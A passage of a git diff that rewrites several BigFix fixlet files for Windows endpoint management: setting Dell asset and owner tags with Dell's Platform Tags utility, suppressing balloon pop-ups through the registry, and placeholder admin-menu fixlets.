+    <Category>Software Sharing</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-11-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 25 Nov 2014 21:47:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action parameter query "Asset_Tag" with description "Enter the Asset Tag to set, maximum of 11 characters" and with default value "abcdef12345"
+
+// -- START:DOWNLOADS -------------------------
+
+//  - This is the commandline 7zip console which is use to unpack installers
+//  - https://www.virustotal.com/en/file/2a3afe19c180f8373fa02ff00254d5394fec0349f5804e0ad2f6067854ff28ac/analysis
+prefetch 7za.zip sha1:9ce9ce89ebc070fea5d679936f21f9dde25faae0 size:384846 http://softlayer-dal.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+// Utility to set Dell Ownership & Asset tags
+//    http://www.dell.com/support/home/us/en/04/Drivers/DriversDetails?driverId=7738M
+prefetch PlatformTags.Download sha1:616890ce8e793a670f696eff33a9358f37d1bf05 size:313056 http://downloads.dell.com/FOLDER01410519M/4/PlatformTags%204.006_ZPE.exe
+
+// -- END:DOWNLOADS ---------------------------
+
+
+// ADD TO UTILITY CACHE: unzip,7zip
+utility __Download\unzip.exe
+utility __Download\7za.zip
+utility __Download\PlatformTags.Download
+
+
+// EXTRACT using unzip: the 7zip command line utility
+waithidden __Download\unzip.exe -o "{pathname of file "7za.zip" of folder "__Download" of client folder of current site}" 7za.exe -d "{pathname of folder "__Download" of client folder of current site}"
+
+// EXTRACT using 7zip: Dell Platform Tags Utility
+waithidden "{ (pathname of file "7za.exe" of folder "__Download" of client folder of current site) }" e -i!*\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe -y -o"{pathname of folder "__Download" of client folder of current site}" "{pathname of file "PlatformTags.Download" of folder "__Download" of client folder of current site}"
+
+
+// SET Asset Tag
+continue if{ exists (parameter "Asset_Tag) whose( length of it <= 11 AND it != "" ) }
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_SAT.log" SAT:{ (parameter "Asset_Tag") }
+
+parameter "ExitCode" = "{ (exit code of action) as string }"
+
+// GET PlatformTag report
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_RPT.log" RPT
+
+// Only continue if Set Asset Tag was successful
+continue if{ (parameter "ExitCode") as integer = 0 }
+
+// restart "DSM SA Data Manager" service (to update WMI/OMCI with new tag)
+// http://superuser.com/questions/301765/restart-a-windows-service-from-the-command-line
+waithidden net stop "DSM SA Data Manager" && net start "DSM SA Data Manager"
+// REQUIRE Restart - seems that WMI does not update until the DSM SA Data Manager service is restarted (or perhaps until it is refreshed)
+// action requires restart
+
+// PlatformTags.exe -- Version 4.006
+// (C) Copyright 1993-2012 Dell Inc.
+//
+// PlatformTags.exe [File:<Name>] [Command]
+//
+//    View/modify Platform Tags
+//
+// Usage:
+//    [File:<Name>]   Specify a path\filename to echo screen text
+//    [Command]       Specify a command to execute
+//
+// Commands:
+//    RPT (or ReadPlatformTags)  Display All Tag information
+//    SAT (or SetAssetTag)       Set the Asset tag
+//    DAT (or DeleteAssetTag)    Delete the Asset Tag
+//    SOT (or SetOwnerTag)       Set the Owner Tag
+//    DOT (or DeleteOwnerTag)    Delete the Owner Tag
+//
+// Note:  SAT and SOT must be followed by ':' and the string to be used in the tag field
+//              If spaces are required in the owner tag, use quotes to surround the data
+//
+// Return Codes:
+//        0xFF = Error Condition - Screen will show error
+//        0 = Success
+
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes
index 823366a41..0eee03b98 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes	
@@ -1,110 +1,110 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows
-  ID       : 3927
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-11-25T14:44:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* DELL Only */ exists values &quot;vendor&quot; whose(it as string as uppercase contains &quot;DELL&quot;) of structures &quot;bios_information&quot; of smbios</Relevance>
-    <Relevance>/* Only if supported */ not exists files whose(name of it starts with &quot;results_Dell_Platform_Tags_&quot; AND name of it as lowercase ends with &quot;.log&quot; AND exists lines whose(it contains &quot;ERROR: Could not locate the BIOS interface to access the tags&quot;) of it) of folders &quot;__BESData\__Global\Logs&quot; of parent folder of client</Relevance>
-    <Relevance><![CDATA[not exists ( ( (it as trimmed string) of string values whose(it as trimmed string != "") of selects "PropertyOwnershipTag from DCIM_Chassis" of wmi "root\dcim\sysman" ) ; ( (it as trimmed string) whose(it != "<not set>" AND it != "") of following texts of firsts "Owner Tag ...... " of lines whose(it contains "Owner Tag ...... ") of files "results_Dell_Platform_Tags_RPT.log" of folders "__BESData\__Global\Logs" of parent folder of client ) )]]></Relevance>
-    <Category>Software Sharing</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-11-24</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 25 Nov 2014 21:44:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-action parameter query "Owner_Tag" with description "Enter the email of the owner to set" and with default value "abc123@company.com"
-
-// -- START:DOWNLOADS -------------------------
-
-//  - This is the commandline 7zip console which is use to unpack installers
-//  - https://www.virustotal.com/en/file/2a3afe19c180f8373fa02ff00254d5394fec0349f5804e0ad2f6067854ff28ac/analysis
-prefetch 7za.zip sha1:9ce9ce89ebc070fea5d679936f21f9dde25faae0 size:384846 http://softlayer-dal.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip
-
-//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
-//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-// Utility to set Dell Ownership & Asset tags
-//    http://www.dell.com/support/home/us/en/04/Drivers/DriversDetails?driverId=7738M
-prefetch PlatformTags.Download sha1:616890ce8e793a670f696eff33a9358f37d1bf05 size:313056 http://downloads.dell.com/FOLDER01410519M/4/PlatformTags%204.006_ZPE.exe
-
-// -- END:DOWNLOADS ---------------------------
-
-
-// ADD TO UTILITY CACHE: unzip,7zip
-utility __Download\unzip.exe
-utility __Download\7za.zip
-
-
-// EXTRACT using unzip: the 7zip command line utility
-waithidden __Download\unzip.exe -o "{pathname of file "7za.zip" of folder "__Download" of client folder of current site}" 7za.exe -d "{pathname of folder "__Download" of client folder of current site}"
-
-// EXTRACT using 7zip: Dell Platform Tags Utility
-waithidden "{ (pathname of file "7za.exe" of folder "__Download" of client folder of current site) }" e -i!*\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe -y -o"{pathname of folder "__Download" of client folder of current site}" "{pathname of file "PlatformTags.Download" of folder "__Download" of client folder of current site}"
-
-
-// SET OwnerTag
-continue if{ exists (parameter "Owner_Tag") whose( length of it > 2 AND it != "abc123@company.com" ) }
-waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_SOT.log" SOT:{ (parameter "Owner_Tag") }
-
-// GET PlatformTag report
-waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_RPT.log" RPT
-
-// restart "DSM SA Data Manager" service (to update WMI with new owner tag)
-// http://superuser.com/questions/301765/restart-a-windows-service-from-the-command-line
-waithidden net stop "DSM SA Data Manager" && net start "DSM SA Data Manager"
-// REQUIRE Restart - seems that WMI does not update until the DSM SA Data Manager service is restarted (or perhaps until it is refreshed)
-// action requires restart
-
-// PlatformTags.exe -- Version 4.006
-// (C) Copyright 1993-2012 Dell Inc.
-//
-// PlatformTags.exe [File:<Name>] [Command]
-//
-//    View/modify Platform Tags
-//
-// Usage:
-//    [File:<Name>]   Specify a path\filename to echo screen text
-//    [Command]       Specify a command to execute
-//
-// Commands:
-//    RPT (or ReadPlatformTags)  Display All Tag information
-//    SAT (or SetAssetTag)       Set the Asset tag
-//    DAT (or DeleteAssetTag)    Delete the Asset Tag
-//    SOT (or SetOwnerTag)       Set the Owner Tag
-//    DOT (or DeleteOwnerTag)    Delete the Owner Tag
-//
-// Note:  SAT and SOT must be followed by ':' and the string to be used in the tag field
-//              If spaces are required in the owner tag, use quotes to surround the data
-//
-// Return Codes:
-//        0xFF = Error Condition - Screen will show error
-//        0 = Success
-
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows
+  ID       : 3927
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-11-25T14:44:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* DELL Only */ exists values &quot;vendor&quot; whose(it as string as uppercase contains &quot;DELL&quot;) of structures &quot;bios_information&quot; of smbios</Relevance>
+    <Relevance>/* Only if supported */ not exists files whose(name of it starts with &quot;results_Dell_Platform_Tags_&quot; AND name of it as lowercase ends with &quot;.log&quot; AND exists lines whose(it contains &quot;ERROR: Could not locate the BIOS interface to access the tags&quot;) of it) of folders &quot;__BESData\__Global\Logs&quot; of parent folder of client</Relevance>
+    <Relevance><![CDATA[not exists ( ( (it as trimmed string) of string values whose(it as trimmed string != "") of selects "PropertyOwnershipTag from DCIM_Chassis" of wmi "root\dcim\sysman" ) ; ( (it as trimmed string) whose(it != "<not set>" AND it != "") of following texts of firsts "Owner Tag ...... " of lines whose(it contains "Owner Tag ...... ") of files "results_Dell_Platform_Tags_RPT.log" of folders "__BESData\__Global\Logs" of parent folder of client ) )]]></Relevance>
+    <Category>Software Sharing</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-11-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 25 Nov 2014 21:44:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action parameter query "Owner_Tag" with description "Enter the email of the owner to set" and with default value "abc123@company.com"
+
+// -- START:DOWNLOADS -------------------------
+
+//  - This is the commandline 7zip console which is use to unpack installers
+//  - https://www.virustotal.com/en/file/2a3afe19c180f8373fa02ff00254d5394fec0349f5804e0ad2f6067854ff28ac/analysis
+prefetch 7za.zip sha1:9ce9ce89ebc070fea5d679936f21f9dde25faae0 size:384846 http://softlayer-dal.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+// Utility to set Dell Ownership & Asset tags
+//    http://www.dell.com/support/home/us/en/04/Drivers/DriversDetails?driverId=7738M
+prefetch PlatformTags.Download sha1:616890ce8e793a670f696eff33a9358f37d1bf05 size:313056 http://downloads.dell.com/FOLDER01410519M/4/PlatformTags%204.006_ZPE.exe
+
+// -- END:DOWNLOADS ---------------------------
+
+
+// ADD TO UTILITY CACHE: unzip,7zip
+utility __Download\unzip.exe
+utility __Download\7za.zip
+
+
+// EXTRACT using unzip: the 7zip command line utility
+waithidden __Download\unzip.exe -o "{pathname of file "7za.zip" of folder "__Download" of client folder of current site}" 7za.exe -d "{pathname of folder "__Download" of client folder of current site}"
+
+// EXTRACT using 7zip: Dell Platform Tags Utility
+waithidden "{ (pathname of file "7za.exe" of folder "__Download" of client folder of current site) }" e -i!*\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe -y -o"{pathname of folder "__Download" of client folder of current site}" "{pathname of file "PlatformTags.Download" of folder "__Download" of client folder of current site}"
+
+
+// SET OwnerTag
+continue if{ exists (parameter "Owner_Tag") whose( length of it > 2 AND it != "abc123@company.com" ) }
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_SOT.log" SOT:{ (parameter "Owner_Tag") }
+
+// GET PlatformTag report
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_RPT.log" RPT
+
+// restart "DSM SA Data Manager" service (to update WMI with new owner tag)
+// http://superuser.com/questions/301765/restart-a-windows-service-from-the-command-line
+waithidden net stop "DSM SA Data Manager" && net start "DSM SA Data Manager"
+// REQUIRE Restart - seems that WMI does not update until the DSM SA Data Manager service is restarted (or perhaps until it is refreshed)
+// action requires restart
+
+// PlatformTags.exe -- Version 4.006
+// (C) Copyright 1993-2012 Dell Inc.
+//
+// PlatformTags.exe [File:<Name>] [Command]
+//
+//    View/modify Platform Tags
+//
+// Usage:
+//    [File:<Name>]   Specify a path\filename to echo screen text
+//    [Command]       Specify a command to execute
+//
+// Commands:
+//    RPT (or ReadPlatformTags)  Display All Tag information
+//    SAT (or SetAssetTag)       Set the Asset tag
+//    DAT (or DeleteAssetTag)    Delete the Asset Tag
+//    SOT (or SetOwnerTag)       Set the Owner Tag
+//    DOT (or DeleteOwnerTag)    Delete the Owner Tag
+//
+// Note:  SAT and SOT must be followed by ':' and the string to be used in the tag field
+//              If spaces are required in the owner tag, use quotes to surround the data
+//
+// Return Codes:
+//        0xFF = Error Condition - Screen will show error
+//        0 = Success
+
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes
index 0ebc725eb..cd9aec873 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Suppress Balloon Pop-Ups - Windows
-  ID       : 3781
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-05-02T10:16:13
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Suppress Balloon Pop-Ups - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;Does this work in HKLM?&nbsp; How do I test if balloon pop ups are actually suppressed?</P>
-<P>&nbsp;</P>
-<P>References:</P>
-<P><A href="http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx">http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced&quot; whose(value &quot;EnableBaloonTips&quot; of it = 0) of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2014-05-02</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 02 May 2014 17:11:57 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//  http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx
-
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced]&quot; &quot;EnableBaloonTips&quot;=dword:00000000</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Suppress Balloon Pop-Ups - Windows
+  ID       : 3781
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-02T10:16:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Suppress Balloon Pop-Ups - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;Does this work in HKLM?&nbsp; How do I test if balloon pop ups are actually suppressed?</P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx">http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced&quot; whose(value &quot;EnableBaloonTips&quot; of it = 0) of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-05-02</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 02 May 2014 17:11:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx
+
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced]&quot; &quot;EnableBaloonTips&quot;=dword:00000000</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes
index 62f6a8085..ae98f5c16 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Cascading Admin Tools Menu
-  ID       : 100
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Cascading Admin Tools Menu</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[exists key ("HKEY_USERS\" & (name of key whose (value "Logon User Name" of key "Explorer" of key "CurrentVersion" of key "Windows" of key "Microsoft" of key "Software" of it as string as lowercase = name of current user as string as lowercase) of key "HKEY_USERS" of registry) & "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced") of registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 23:09:39 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
-    </DefaultAction>
-    <Action ID="Action230">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to article describing enabling this on xp.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/10226/</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Cascading Admin Tools Menu
+  ID       : 100
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Cascading Admin Tools Menu</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_USERS\" & (name of key whose (value "Logon User Name" of key "Explorer" of key "CurrentVersion" of key "Windows" of key "Microsoft" of key "Software" of it as string as lowercase = name of current user as string as lowercase) of key "HKEY_USERS" of registry) & "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced") of registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 23:09:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+    <Action ID="Action230">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to article describing enabling this on xp.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/10226/</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes
index eba910e0c..526fd314f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Cascading Admin Tools Menu
-  ID       : 85
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Cascading Admin Tools Menu</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[exists key ("HKEY_USERS\" & (name of key whose (value "Logon User Name" of key "Explorer" of key "CurrentVersion" of key "Windows" of key "Microsoft" of key "Software" of it as string as lowercase = name of current user as string as lowercase) of key "HKEY_USERS" of registry) & "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced") of registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 23:09:39 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
-    </DefaultAction>
-    <Action ID="Action230">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to article describing enabling this on xp.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/10226/</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Cascading Admin Tools Menu
+  ID       : 85
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Cascading Admin Tools Menu</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
